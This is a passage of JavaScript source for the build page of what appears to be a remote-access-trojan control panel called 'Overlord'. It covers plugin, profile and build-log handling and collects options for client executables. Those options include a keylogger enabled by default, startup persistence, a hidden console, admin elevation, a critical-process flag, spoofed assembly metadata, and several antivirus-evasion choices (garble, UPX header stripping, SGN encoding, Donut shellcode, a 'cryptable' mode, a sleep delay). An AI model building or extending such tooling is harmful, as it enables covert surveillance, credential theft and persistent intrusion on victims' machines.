import { createBuildProfileManager } from "./build-profile-manager.js"; import { createBuildHistoryManager, formatFileSize, } from "./build-history-manager.js"; import { animateElement, revealElement, staggerChildren, } from "./motion.js"; import { isLocalServerAddress } from "./build-server-url.js"; const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildLogIssueCount = document.getElementById("build-log-issue-count"); const buildLogFilterButtons = document.querySelectorAll("[data-build-log-filter]"); const buildLogWrapBtn = document.getElementById("build-log-wrap-btn"); const buildLogFollowBtn = document.getElementById("build-log-follow-btn"); const buildLogCopyBtn = document.getElementById("build-log-copy-btn"); const buildLogClearBtn = document.getElementById("build-log-clear-btn"); const buildResults = document.getElementById("build-results"); const buildFilesDiv = document.getElementById("build-files"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); const serverUrlCurrentBtn = document.getElementById("server-url-current-btn"); const serverUrlLocalWarning = document.getElementById("server-url-local-warning"); const solMemoCheckbox = document.getElementById("sol-memo"); const solSettings = document.getElementById("sol-settings"); const profileSelect = document.getElementById("build-profile-select"); const profileNameInput = document.getElementById("build-profile-name"); const profileSaveBtn = document.getElementById("profile-save-btn"); const profileLoadBtn = document.getElementById("profile-load-btn"); const profileDeleteBtn = document.getElementById("profile-delete-btn"); const profileExportBtn = document.getElementById("profile-export-btn"); const profileImportBtn = document.getElementById("profile-import-btn"); const profileImportFile = document.getElementById("profile-import-file"); const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); const persistenceMethodContainer = document.getElementById("persistence-method-container"); const persistenceEmptyState = document.getElementById("persistence-empty-state"); const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings"); const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container"); const startupNameMacosHint = document.getElementById("startup-name-macos-hint"); const startupNameDefaultHint = document.getElementById("startup-name-default-hint"); const startupNameError = document.getElementById("startup-name-error"); const platformInputs = document.querySelectorAll('input[name="platform"]'); const buildPluginsSection = document.getElementById("build-plugins-section"); const buildPluginsList = document.getElementById("build-plugins-list"); const buildPluginsCount = document.getElementById("build-plugins-count"); const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section"); const macosSdkFileInput = document.getElementById("macos-sdk-file"); const macosSdkRightsInput = document.getElementById("macos-sdk-rights"); const macosSdkFileStatus = document.getElementById("macos-sdk-file-status"); const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning"); const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform"); const disableCgoInput = document.querySelector('input[name="disable-cgo"]'); const disableCgoWarning = document.getElementById("disable-cgo-warning"); let currentServerVersion = null; let currentUserRole = null; let currentUsername = null; let showAllBuilds = false; let buildPlugins = []; let macosSdkRequiredForDarwinCgo = false; let macosSdkServerHost = null; async function loadMacosSdkStatus() { try { const res = await fetch("/api/build/macos-sdk/status", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); macosSdkRequiredForDarwinCgo = data.requiredForDarwinCgo === true; macosSdkServerHost = typeof data.hostPlatform === "string" ? data.hostPlatform : null; } catch {} updateMacosSdkVisibility(); } function needsMacosSdkUpload() { const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked')) .some((input) => input.value.startsWith("darwin-")); return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked; } function updateMacosSdkVisibility() { const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked')) .some((input) => input.value.startsWith("darwin-")); const cgoEnabled = !document.querySelector('input[name="disable-cgo"]')?.checked; macosSdkUploadSection?.classList.toggle("hidden", !needsMacosSdkUpload()); const unsupportedHost = hasDarwin && cgoEnabled && !!macosSdkServerHost && macosSdkServerHost !== "linux" && macosSdkServerHost !== "darwin"; macosSdkHostWarning?.classList.toggle("hidden", !unsupportedHost); if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost; } function updateDisableCgoWarning() { disableCgoWarning?.classList.toggle("hidden", !disableCgoInput?.checked); } async function uploadMacosSdk() { const file = macosSdkFileInput?.files?.[0]; if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build"); if (!macosSdkRightsInput?.checked) throw new Error("Confirm that you have permission to use the uploaded macOS SDK"); if (file.size > 1024 * 1024 * 1024) throw new Error("macOS SDK archive exceeds the 1 GB limit"); if (macosSdkFileStatus) macosSdkFileStatus.textContent = `Uploading ${file.name} (${formatFileSize(file.size)})...`; const res = await fetch("/api/build/macos-sdk/upload", { method: "POST", credentials: "include", headers: { "Content-Type": "application/octet-stream", "X-Overlord-Filename": encodeURIComponent(file.name), "X-Overlord-Sdk-Rights": "confirmed", }, body: file, }); const data = await res.json().catch(() => ({})); if (!res.ok) throw new Error(data.error || "macOS SDK upload failed"); if (macosSdkFileStatus) macosSdkFileStatus.textContent = `${file.name} uploaded; validating during the build.`; return data.uploadId; } async function loadSolRpcEndpoints() { const field = document.getElementById("sol-rpc-endpoints"); if (!field || field.value.trim()) return; try { const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); const endpoints = Array.isArray(data?.endpoints) ? data.endpoints.map((item) => String(item || "").trim()).filter(Boolean) : []; field.value = endpoints.join("\n"); } catch {} } async function loadServerVersion() { try { const res = await fetch("/api/version", { credentials: "include" }); if (!res.ok) { currentServerVersion = null; return; } const payload = await res.json(); const version = typeof payload?.version === "string" ? payload.version.trim() : ""; currentServerVersion = version || null; } catch { currentServerVersion = null; } } function getDefaultServerUrlPlaceholder(isRawList) { if (isRawList) { return getCurrentRawServerListUrl(); } return ""; } function getCurrentServerHost() { return window.location.host || window.location.hostname || ""; } function getCurrentRawServerListUrl() { const protocol = window.location.protocol === "https:" ? "https" : "http"; const host = getCurrentServerHost(); return host ? `${protocol}://${host}/list.txt` : ""; } function getCurrentServerUrlForMode() { return getCurrentServerHost(); } function stripServerUrlPrefix(value) { return String(value || "").replace(/^\s*(wss?|https?):\/\//i, "").trimStart(); } function updateServerUrlHintMode() { const isRaw = rawServerListCheckbox?.checked ?? false; const normalHint = document.getElementById("server-url-hint"); const rawHint = document.getElementById("server-url-raw-hint"); if (normalHint) normalHint.classList.toggle("hidden", isRaw); if (rawHint) rawHint.classList.toggle("hidden", !isRaw); } function updateServerUrlPlaceholder() { if (!serverUrlInput) return; const isRaw = rawServerListCheckbox?.checked ?? false; serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); updateServerUrlCurrentButton(); updateServerUrlHintMode(); } function updateServerUrlCurrentButton() { if (!serverUrlCurrentBtn) return; const isRaw = rawServerListCheckbox?.checked ?? false; const isCurrentHost = !isRaw && !!serverUrlInput?.value.trim() && stripServerUrlPrefix(serverUrlInput.value) === getCurrentServerUrlForMode(); serverUrlCurrentBtn.classList.toggle("hidden", isRaw); serverUrlCurrentBtn.disabled = isRaw; serverUrlCurrentBtn.setAttribute("aria-pressed", String(isCurrentHost)); serverUrlCurrentBtn.classList.toggle("bg-slate-800/70", !isCurrentHost); serverUrlCurrentBtn.classList.toggle("border-slate-700", !isCurrentHost); serverUrlCurrentBtn.classList.toggle("text-slate-300", !isCurrentHost); serverUrlCurrentBtn.classList.toggle("bg-blue-600", isCurrentHost); serverUrlCurrentBtn.classList.toggle("border-blue-400", isCurrentHost); serverUrlCurrentBtn.classList.toggle("text-white", isCurrentHost); serverUrlCurrentBtn.classList.toggle("shadow-lg", isCurrentHost); serverUrlCurrentBtn.classList.toggle("shadow-blue-950/50", isCurrentHost); } function updateLocalServerWarning() { const showWarning = isLocalServerAddress(serverUrlInput?.value); serverUrlLocalWarning?.classList.toggle("hidden", !showWarning); serverUrlInput?.classList.toggle("border-slate-700", !showWarning); serverUrlInput?.classList.toggle("border-red-500", showWarning); serverUrlInput?.setAttribute("aria-invalid", String(showWarning)); updateServerUrlCurrentButton(); } let isBuilding = false; const BUILD_LOG_MAX_VISIBLE_LINES = 5000; const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1"; let buildLogRawChunks = []; let buildLogLineCount = 0; let buildLogIssueTotal = 0; let buildLogFollow = true; function updateBuildLogSummary() { if (buildLogIssueCount) buildLogIssueCount.textContent = buildLogIssueTotal.toLocaleString(); } function setBuildLogFollow(enabled) { buildLogFollow = enabled; buildLogFollowBtn?.setAttribute("aria-pressed", String(enabled)); if (enabled && buildOutputContainer) { buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight; } } function resetBuildLog(showEmptyState = false) { buildLogRawChunks = []; buildLogLineCount = 0; buildLogIssueTotal = 0; if (buildOutputDiv) { buildOutputDiv.innerHTML = showEmptyState ? '
Output cleared. New build events will appear here.
' : ""; } updateBuildLogSummary(); } function classifyBuildLogLine(line, requestedLevel) { const normalizedLevel = String(requestedLevel || "info").toLowerCase(); if (normalizedLevel === "error" || /\b(error|failed|failure|fatal|panic)\b/i.test(line)) return "error"; if (normalizedLevel === "warn" || normalizedLevel === "warning" || /\b(warn(?:ing)?|retry|skipp?ed|hint)\b/i.test(line)) return "warning"; if (normalizedLevel === "success" || /\b(success(?:ful(?:ly)?)?|completed|\[ok\])\b/i.test(line)) return "success"; if (/^(?:\s*[=─-]{2,}|\s*\[[^\]]+\]|\s*(?:starting|build id|building|uploading|pushing|reconnecting)\b)/i.test(line)) return "stage"; return "detail"; } function appendBuildLogLine(line, requestedLevel) { if (!buildOutputDiv || !line.trim()) return; buildOutputDiv.querySelector(".build-log-empty")?.remove(); const level = classifyBuildLogLine(line, requestedLevel); const row = document.createElement("div"); row.className = "build-log-line"; row.dataset.logLevel = level; buildLogLineCount += 1; if (level === "warning" || level === "error") buildLogIssueTotal += 1; const number = document.createElement("span"); number.className = "build-log-number"; number.textContent = String(buildLogLineCount); const content = document.createElement("span"); content.className = "build-log-content"; content.appendChild(document.createTextNode(line)); row.appendChild(number); row.appendChild(content); buildOutputDiv.appendChild(row); while (buildOutputDiv.children.length > BUILD_LOG_MAX_VISIBLE_LINES) { buildOutputDiv.firstElementChild?.remove(); } if (level !== "detail") { animateElement(row, [ { opacity: 0, transform: "translateX(5px)" }, { opacity: 1, transform: "translateX(0)" }, ], { duration: 170 }); } } function initBuildConsole() { let wrapEnabled = false; try { wrapEnabled = localStorage.getItem(BUILD_LOG_WRAP_KEY) === "1"; } catch {} buildOutputDiv?.classList.toggle("log-wrap", wrapEnabled); buildLogWrapBtn?.setAttribute("aria-pressed", String(wrapEnabled)); buildLogFilterButtons.forEach((button) => { button.addEventListener("click", () => { const filter = button.dataset.buildLogFilter || "all"; buildOutputDiv.dataset.filter = filter; buildLogFilterButtons.forEach((candidate) => { candidate.setAttribute("aria-pressed", String(candidate === button)); }); }); }); buildLogWrapBtn?.addEventListener("click", () => { const enabled = !buildOutputDiv.classList.contains("log-wrap"); buildOutputDiv.classList.toggle("log-wrap", enabled); buildLogWrapBtn.setAttribute("aria-pressed", String(enabled)); try { localStorage.setItem(BUILD_LOG_WRAP_KEY, enabled ? "1" : "0"); } catch {} }); buildLogFollowBtn?.addEventListener("click", () => setBuildLogFollow(!buildLogFollow)); buildOutputContainer?.addEventListener("scroll", () => { const distanceFromBottom = buildOutputContainer.scrollHeight - buildOutputContainer.scrollTop - buildOutputContainer.clientHeight; if (distanceFromBottom > 40 && buildLogFollow) setBuildLogFollow(false); }, { passive: true }); buildLogCopyBtn?.addEventListener("click", async () => { const text = buildLogRawChunks.join(""); if (!text) return; let copied = false; try { await navigator.clipboard.writeText(text); copied = true; } catch { const textarea = document.createElement("textarea"); textarea.value = text; textarea.style.position = "fixed"; textarea.style.opacity = "0"; document.body.appendChild(textarea); textarea.select(); copied = document.execCommand?.("copy") === true; textarea.remove(); } if (copied) { buildLogCopyBtn.innerHTML = 'Copied'; setTimeout(() => { buildLogCopyBtn.innerHTML = 'Copy output'; }, 1400); } else { window.showToast?.("Could not copy build output", "error"); } }); buildLogClearBtn?.addEventListener("click", () => { resetBuildLog(true); setBuildLogFollow(true); }); updateBuildLogSummary(); } initBuildConsole(); function revealBuildResults() { if (buildResults.classList.contains("hidden")) { revealElement(buildResults, { duration: 240, offset: 8 }); } requestAnimationFrame(() => { staggerChildren(buildFilesDiv, { limit: 10, interval: 28, duration: 220, offset: 6 }); }); } function initAccordions() { document.querySelectorAll(".accordion-section").forEach((section) => { const header = section.querySelector(".accordion-header"); const body = section.querySelector(".accordion-body"); const chevron = section.querySelector(".accordion-chevron"); const startOpen = section.dataset.open !== "false"; header.setAttribute("aria-expanded", String(startOpen)); if (!startOpen) { body.classList.add("collapsed"); } else { chevron.classList.add("rotated"); } header.addEventListener("click", () => { const nowCollapsed = body.classList.toggle("collapsed"); chevron.classList.toggle("rotated", !nowCollapsed); section.dataset.open = String(!nowCollapsed); header.setAttribute("aria-expanded", String(!nowCollapsed)); animateElement(header, [ { backgroundColor: "rgba(51, 65, 85, 0.62)" }, { backgroundColor: "rgba(30, 41, 59, 0.5)" }, ], { duration: 180 }); }); }); } function initBuilderTabs() { const tabs = document.querySelectorAll(".builder-tab[data-builder-tab]"); const panels = document.querySelectorAll("[data-builder-panel]"); function switchTab(tabName) { tabs.forEach((t) => { t.setAttribute("aria-selected", t.dataset.builderTab === tabName ? "true" : "false"); }); panels.forEach((p) => { if (p.dataset.builderPanel === tabName) { p.removeAttribute("hidden"); animateElement(p, [ { opacity: 0, transform: "translateY(7px)" }, { opacity: 1, transform: "translateY(0)" }, ], { duration: 200 }); } else { p.setAttribute("hidden", ""); } }); } tabs.forEach((tab) => { tab.addEventListener("click", () => { switchTab(tab.dataset.builderTab); }); }); const defaultTab = document.querySelector('.builder-tab[aria-selected="true"]'); if (defaultTab) { switchTab(defaultTab.dataset.builderTab); } } function updateWindowsSectionVisibility() { const windowsSection = document.getElementById("windows-settings-section"); if (!windowsSection) return; const hasWindows = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).some((el) => el.value.startsWith("windows-")); windowsSection.classList.toggle("hidden", !hasWindows); } function pluginSettingInputId(pluginId, key) { return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-"); } function buildPluginCurrentSettings(plugin) { const settings = {}; for (const setting of plugin.build?.settings || []) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`); if (!el) continue; if (setting.type === "boolean") settings[setting.key] = !!el.checked; else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0); else settings[setting.key] = el.value; } return settings; } function collectBuildPluginSettings() { const result = {}; for (const plugin of buildPlugins) { const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); result[plugin.id] = { enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false, settings: buildPluginCurrentSettings(plugin), }; } return result; } function setBuildField(field, value) { const fieldMap = { useDonut: "#donut-mode", donutSingleThreaded: "#donut-single-threaded", donutExitMode: "#donut-exit-mode", donutEntropy: "#donut-entropy", donutPreserveHeaders: "#donut-preserve-headers", donutResumeOffset: "#donut-resume-offset", useLinuxShellcode: "#linux-shellcode-mode", shellcodeConsole: "#shellcode-console", useSgn: "#sgn-mode", enableUpx: 'input[name="enable-upx"]', upxStripHeaders: 'input[name="upx-strip-headers"]', obfuscate: 'input[name="obfuscate"]', garbleLiterals: 'input[name="garble-literals"]', garbleTiny: 'input[name="garble-tiny"]', disableCgo: 'input[name="disable-cgo"]', enableNvenc: 'input[name="enable-nvenc"]', enableAmf: 'input[name="enable-amf"]', enableQsv: 'input[name="enable-qsv"]', stripDebug: 'input[name="strip-debug"]', noPrinting: 'input[name="no-printing"]', enableWebrtc: 'input[name="enable-webrtc"]', promptWebrtcFirewallOnStart: 'input[name="prompt-webrtc-firewall-on-start"]', enableWinRE: 'input[name="enable-winre"]', fetchPublicIP: 'input[name="fetch-public-ip"]', enablePersistence: 'input[name="enable-persistence"]', hideConsole: 'input[name="hide-console"]', requireAdmin: 'input[name="require-admin"]', criticalProcess: 'input[name="critical-process"]', outputName: "#output-name", outputExtension: "#output-extension", sgnIterations: "#sgn-iterations", sleepSeconds: "#sleep-seconds", }; const selector = fieldMap[field] || `#${field}`; const el = document.querySelector(selector); if (!el) return; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); el.dispatchEvent(new Event("change", { bubbles: true })); el.dispatchEvent(new Event("input", { bubbles: true })); if (field === "useDonut") applyDonutMode(!!value); if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value); if (field === "useSgn") applySgnMode(!!value); } function getRequirementValue(req, plugin) { if (req.field) { const settings = collectFormSettings(); return req.field.split(".").reduce((cur, key) => cur && cur[key], settings); } if (req.pluginSetting) { const settings = buildPluginCurrentSettings(plugin); return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings); } return undefined; } function buildRequirementMet(req, plugin) { if (Array.isArray(req.platforms)) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); return req.platforms.some((platform) => selected.includes(platform)); } const value = getRequirementValue(req, plugin); if (req.truthy === true && !value) return false; if (req.falsy === true && value) return false; if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false; if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false; if (Object.prototype.hasOwnProperty.call(req, "includes")) { if (!Array.isArray(value) || !value.includes(req.includes)) return false; } return true; } function validateBuildPluginRequirements() { const messages = []; for (const plugin of buildPlugins) { const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked; if (!enabled) continue; for (const req of plugin.build?.requires || []) { if (!buildRequirementMet(req, plugin)) { messages.push(req.message || `${plugin.name} has unmet build requirements`); } } } return messages; } function renderBuildPluginSetting(plugin, setting) { const id = pluginSettingInputId(plugin.id, setting.key); const wrap = document.createElement("label"); wrap.className = "flex flex-col gap-1 text-sm"; const label = document.createElement("span"); label.className = "text-slate-300 font-medium"; label.textContent = setting.label || setting.key; wrap.appendChild(label); let input; if (setting.type === "boolean") { wrap.className = "flex items-center gap-2 text-sm text-slate-300"; input = document.createElement("input"); input.type = "checkbox"; input.checked = !!setting.default; input.className = "w-4 h-4"; wrap.innerHTML = ""; wrap.appendChild(input); wrap.appendChild(label); } else if (setting.type === "select") { input = document.createElement("select"); input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; for (const opt of setting.options || []) { const option = document.createElement("option"); option.value = typeof opt === "string" ? opt : opt.value; option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value); input.appendChild(option); } if (setting.default !== undefined) input.value = String(setting.default); wrap.appendChild(input); } else if (setting.type === "textarea") { input = document.createElement("textarea"); input.rows = 3; input.value = setting.default !== undefined ? String(setting.default) : ""; input.placeholder = setting.placeholder || ""; input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; wrap.appendChild(input); } else { input = document.createElement("input"); input.type = setting.type === "number" ? "number" : "text"; if (setting.min !== undefined) input.min = String(setting.min); if (setting.max !== undefined) input.max = String(setting.max); input.value = setting.default !== undefined ? String(setting.default) : ""; input.placeholder = setting.placeholder || ""; input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; wrap.appendChild(input); } input.id = id; input.dataset.buildPluginId = plugin.id; input.dataset.buildSettingKey = setting.key; input.addEventListener("input", saveFormSettings); input.addEventListener("change", saveFormSettings); if (setting.description) { const desc = document.createElement("span"); desc.className = "text-xs text-slate-500"; desc.textContent = setting.description; wrap.appendChild(desc); } return wrap; } function renderBuildPlugins() { if (!buildPluginsSection || !buildPluginsList) return; buildPluginsList.innerHTML = ""; if (buildPlugins.length === 0) { buildPluginsSection.classList.add("hidden"); return; } buildPluginsSection.classList.remove("hidden"); if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`; for (const plugin of buildPlugins) { const card = document.createElement("div"); card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3"; const top = document.createElement("div"); top.className = "flex items-start justify-between gap-3"; const title = document.createElement("div"); const nameEl = document.createElement("div"); nameEl.className = "font-medium text-slate-100"; nameEl.textContent = plugin.build?.label || plugin.name; title.appendChild(nameEl); if (plugin.build?.description) { const desc = document.createElement("div"); desc.className = "text-xs text-slate-500 mt-1"; desc.textContent = plugin.build.description; title.appendChild(desc); } const toggle = document.createElement("label"); toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer"; const cb = document.createElement("input"); cb.type = "checkbox"; cb.checked = plugin.build?.enabledByDefault !== false; cb.dataset.buildPluginEnable = plugin.id; cb.className = "w-4 h-4"; cb.addEventListener("change", saveFormSettings); toggle.appendChild(cb); toggle.appendChild(document.createTextNode("Enabled")); top.appendChild(title); top.appendChild(toggle); card.appendChild(top); if (plugin.build?.settings?.length) { const grid = document.createElement("div"); grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3"; for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting)); card.appendChild(grid); } if (plugin.build?.actions?.length) { const actions = document.createElement("div"); actions.className = "flex flex-wrap gap-2"; for (const action of plugin.build.actions) { const btn = document.createElement("button"); btn.type = "button"; btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors"; const icon = document.createElement("i"); icon.className = action.icon || "fa-solid fa-wand-magic-sparkles"; const text = document.createElement("span"); text.textContent = action.label; btn.appendChild(icon); btn.appendChild(text); if (action.description) btn.title = action.description; btn.addEventListener("click", () => { for (const req of action.requires || []) { if (!buildRequirementMet(req, plugin)) { alert(req.message || "This action requires other build settings first."); return; } } for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value); for (const [key, value] of Object.entries(action.setSettings || {})) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); if (!el) continue; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); el.dispatchEvent(new Event("change", { bubbles: true })); } saveFormSettings(); }); actions.appendChild(btn); } card.appendChild(actions); } buildPluginsList.appendChild(card); } } function applyBuildPluginSettings(settings) { if (!settings || typeof settings !== "object") return; for (const plugin of buildPlugins) { const saved = settings[plugin.id]; if (!saved || typeof saved !== "object") continue; const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled; for (const [key, value] of Object.entries(saved.settings || {})) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); if (!el) continue; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); } } } async function loadBuildPlugins() { try { const res = await fetch("/api/build/plugins", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); buildPlugins = Array.isArray(data.plugins) ? data.plugins : []; renderBuildPlugins(); try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins); } catch {} } catch (err) { console.warn("Failed to load build plugins:", err); } } const BUILD_SETTINGS_KEY = "overlord_build_settings"; function collectFormSettings() { return { platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, solMemo: document.getElementById("sol-memo")?.checked ?? false, solAddress: document.getElementById("sol-address")?.value ?? "", solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "", outputName: document.getElementById("output-name")?.value ?? "", initialClientTag: document.getElementById("initial-client-tag")?.value ?? "", iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true, enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true, enableQsv: document.querySelector('input[name="enable-qsv"]')?.checked ?? true, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, promptWebrtcFirewallOnStart: document.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked ?? false, enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, garbleSeed: document.getElementById("garble-seed")?.value ?? "", enableUpx: document.querySelector('input[name="enable-upx"]')?.checked ?? false, upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false, sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0", enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false, persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value), startupName: document.getElementById("startup-name")?.value ?? "", hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false, assemblyTitle: document.getElementById("assembly-title")?.value ?? "", assemblyProduct: document.getElementById("assembly-product")?.value ?? "", assemblyCompany: document.getElementById("assembly-company")?.value ?? "", assemblyVersion: document.getElementById("assembly-version")?.value ?? "", assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "", outputExtension: document.getElementById("output-extension")?.value ?? ".exe", cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false, useDonut: document.getElementById("donut-mode")?.checked ?? false, donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false, donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined, donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined, donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false, donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false, shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, useSgn: document.getElementById("sgn-mode")?.checked ?? false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, buildPlugins: collectBuildPluginSettings(), }; } function applyFormSettings(settings) { if (!settings || typeof settings !== "object") return; const setVal = (id, val) => { const el = document.getElementById(id); if (el && val !== undefined && val !== null) el.value = String(val); }; const setCb = (sel, val) => { const el = document.querySelector(sel); if (el && val !== undefined) el.checked = !!val; }; if (Array.isArray(settings.platforms)) { settings.platforms.forEach(({ value, checked }) => { const el = document.querySelector(`input[name="platform"][value="${value}"]`); if (el) el.checked = !!checked; }); } if (settings.serverUrl !== undefined) { const isRaw = !!settings.rawServerList; setVal("server-url", isRaw ? settings.serverUrl : stripServerUrlPrefix(settings.serverUrl)); } if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList); if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo); if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress); if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints); if (settings.outputName !== undefined) setVal("output-name", settings.outputName); if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag); if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId); if (settings.mutex !== undefined) setVal("mutex", settings.mutex); if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex); if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug); if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc); if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf); if (settings.enableQsv !== undefined) setCb('input[name="enable-qsv"]', settings.enableQsv); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); if (settings.promptWebrtcFirewallOnStart !== undefined) setCb('input[name="prompt-webrtc-firewall-on-start"]', settings.promptWebrtcFirewallOnStart); if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if 